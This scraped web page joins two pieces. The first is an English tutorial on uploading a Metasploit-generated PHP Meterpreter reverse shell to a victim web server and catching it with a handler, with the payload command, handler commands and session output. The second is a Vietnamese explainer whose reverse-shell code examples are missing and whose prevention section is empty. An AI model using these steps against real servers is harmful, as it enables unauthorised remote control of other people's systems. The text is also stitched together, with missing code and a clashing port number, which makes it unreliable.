Hướng dẫn msfconsole php reverse shell
Requirements: Write access to webserver. msfconsole to start the listener:
shell.php to the victim’s server and then query it in a browser. This will connect back to the local Metasploit listener and open up a shell on the server.After hacking a web application or server to such an extent that you can upload files to it, the next thing to try is get a proper shell on the system. The most common approach is to create reverse shells. In this approach first a listener program is run on the hacker's machine and then a program/payload/script is run
on the target machine such that it connects back to the hacker's machine to offer a shell/terminal. Creating reverse shells using php scripts is generally quite easy and can be accomplished with just a small php and a program like netcat. Netcat would run as a listener (a socket server actually) and the php script has to be run on the victim server so that it connects back. In this example we are going to create reverse shells in php using metasploit. Yes, its too big a tool for such
a small task but looks cool anyway. To brief up the basics about reverse shells remember that it has 2 components. First is the listener on local/hacker system that waits for incoming connections, and the second is the payload script/program that runs on target computer and is configured to connect to the listener and offer a shell. Once the listener is connected, it can gets a shell which can be used to run any command (limited to the user privilege) on the target system. So the first step is to create our payload program. This is done using the msfpayload command and looks like this # msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=6000 R > exploit.php The above command would create a file called exploit.php which is the reverse shell payload. It is just a plain php script that is configured according to the LHOST and LPORT parameters. Now upload the exploit.php to the target system. Wait, do not run it yet. First we need to start the listener as shown in the next step. Start listenerOnce the payload is uploaded, the next thing to do is to start our listener which will catch the incoming connection offer. Start msfconsole and run the following commands msf > use exploit/multi/handler msf exploit(handler) > set LHOST 192.168.1.4 LHOST => 192.168.1.4 msf exploit(handler) > set LPORT 6000 LPORT => 6666 msf exploit(handler) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp msf exploit(handler) > exploit [*] Started reverse handler on 192.168.1.4:6000 [*] Starting the payload handler... Now the listener is ready. Now its time to run the php script on the server. Its uploaded, and now can be run by opening from the browser like a normal url. http://targetmachine/some/path/exploit.php As soon as the script starts running, msfconsole will indicate connection and meterpreter session would come up [*] Sending stage (39217 bytes) to 192.168.1.101 [*] Meterpreter session 1 opened (192.168.1.4:6000 -> 192.168.1.101:43400) at 2013-03-04 17:29:18 +0530 meterpreter > Now
that meterpreter is up, its time to play with the system. A Tech Enthusiast, Blogger, Linux Fan and a Software Developer. Writes about Computer hardware, Linux and Open Source software and coding in Python, Php and Javascript. He can be reached at [email protected]. Post navigation Information gathering with Nmap scripts Monitor and auto restart crond in cpanel/whmReverse shell là gì ?Reverse shell là 1 loại session shell (ngoài ra còn có web shell, bind shell,.. ) là shell có kết nối bắt nguồn từ 1 máy chủ đóng vai trò là target đến 1 máy chủ khác đóng vai trò host . Khi đó target sẽ tạo kết nối ra bên ngoài và host sẽ lắng nghe. Trong trường hợp Attacker mà đã khai thác được lỗ hổng có thể dẫn đến RCE có thể dùng Reverse shell để tạo kết nối đến máy attacker để hacker thao tác với máy target. Một Reverse shell (hay còn gọi connect-back shell) cũng có thể là cách duy nhất để để thao tác remote thông qua shell mà không gặp vấn đề với NAT hoặc firewall. Nội dung chính
Nội dung chính
Reverse shell hoạt động như thế nào ?Như bình thường, để có thể tạo ra remote shell để remote từ xa, máy tính của attacker kết nối tới một máy chủ target và yêu cầu một shell session - đây gọi là bind shell. Nhưng có 1 vấn đề có thể xảy ra là nếu máy chủ kia không thể truy cập trực tiếp , ví dụ là có thể không có public IP hoặc được bảo vệ với Firewall thì sao? Trong trường hợp này, Reverse shell cần được sử dụng, khi mà target có một kết nối ra bên ngoài để host lắng nghe các kết nối đến và tạo nên shell session. Reverse shell thường là cách duy nhất để thực hiện quản lí từ xa tới host thông qua NAT, cho nên nó cần quyền admin để sử dụng. Tuy nhiên , nó cũng có thể được tận dụng bởi tội phạm mạng để kết nối và thực thi các lệnh trên những máy chủ được bảo vệ bởi firewall hoặc hệ thống bảo mật mạng khác. Ví dụ 1 đoạn mã độc malware được cài đặt trên máy chủ nội bộ thông qua email giả mạo hoặc 1 trang web độc hại có thể tạo ra 1 kết nối ra bên ngoài tới 1 CMS và cho phép hacker sử dụng được reverse shell .Trong khi Firewall thì đa số lọc các kết nối từ bên ngoài vào cho nên những kết nối từ nội bộ ra ngoài tới 1 server đang lắng nghe thường thành công. Khi thử tấn công đến server , kẻ tấn công thường thử khai thác các lỗ hổng về command injection ở trên hệ thống của mục tiêu . Các đoạn lệnh được inject thường là reverse shell script để cung cấp 1 môi trường thuận tiện cho việc sử dụng các command shell và thực thi các hành vi độc hại sau này. Ví dụ về Reverse shellĐể bắt đầu, attacker cần bắt đầu 1 listener processe trên chính máy của attacker để nhận các kết nối reverse shell tới IP của attacker, ví dụ IP attacker là 10.0.0.123 , trên Linux . Nó được thực hiện vởi netcat command như sau :
Nó sẽ tạo ra 1 process netcat listener trên cổng 1111. Lúc này attacker sẽ cần chạy đoạn mã thực thi trên máy trính mục tiêu, kết nối đến listener. Đã có rất nhiều reverse shell code có sẵn dành cho các loại hệ điều hành và viết bởi nhiều ngôn ngữ khác nhau (xem thêm tại pentestmonkey’s Reverse Shell Cheat Sheet ) và trên kali cũng có
sẵn 1 loạt các webshells và reverese shell. Dưới đây là ví dụ dành cho Linux và Unix , một số sẽ hoạt động được cả trên windows nếu thay đổi command line interpreter gọi từ Bash Reverse shellNếu máy tính mục tiêu chạy trên Linux, nó khá là lý tưởng để bắt đầu bằng bash và gần như tất cả các hệ thống linux đều hoạt động với shell này :
Perl Reverse shellCũng như Bash , perl interpreter cũng gần như có sẵn trên các hệ thống server linux, cho nên Perl cũng là 1 lựa chọn khác để chạy reverse shell:
Python reverse shellVới sự phát triển khá phổ biến hiện nay của python thì 1 lựa chọn khác mà có sẵn trên các hệ thống có thể thực thi lệnh như sau :
PHP reverse shellGần như đa số web server PHP cũng cung cấp các reverse shell vector :
Java Reverse ShellJava thì cũng gần như có sẵn trên các ứng dụng server :
Ruby Reverse ShellRuby thì cũng là 1 ngôn ngữ khá là nổi cho web app cho nên nó cũng có để phục vụ 1 số mục đích trên server :
Ngăn chặn reverse shellTrừ khi bạn cố tình sử dụng reverse shell để quản trị từ xa thì bất kỳ mọi kết nối reverse shell nào cũng có thể là độc hại. Thật không may, cũng không có cách nào chắc chắn để chặn các kết nối reverse shell trên hệ thống mạng, đặc biệt là máy chủ. Bạn có thể giảm thiểu rủi ro bằng cách :
|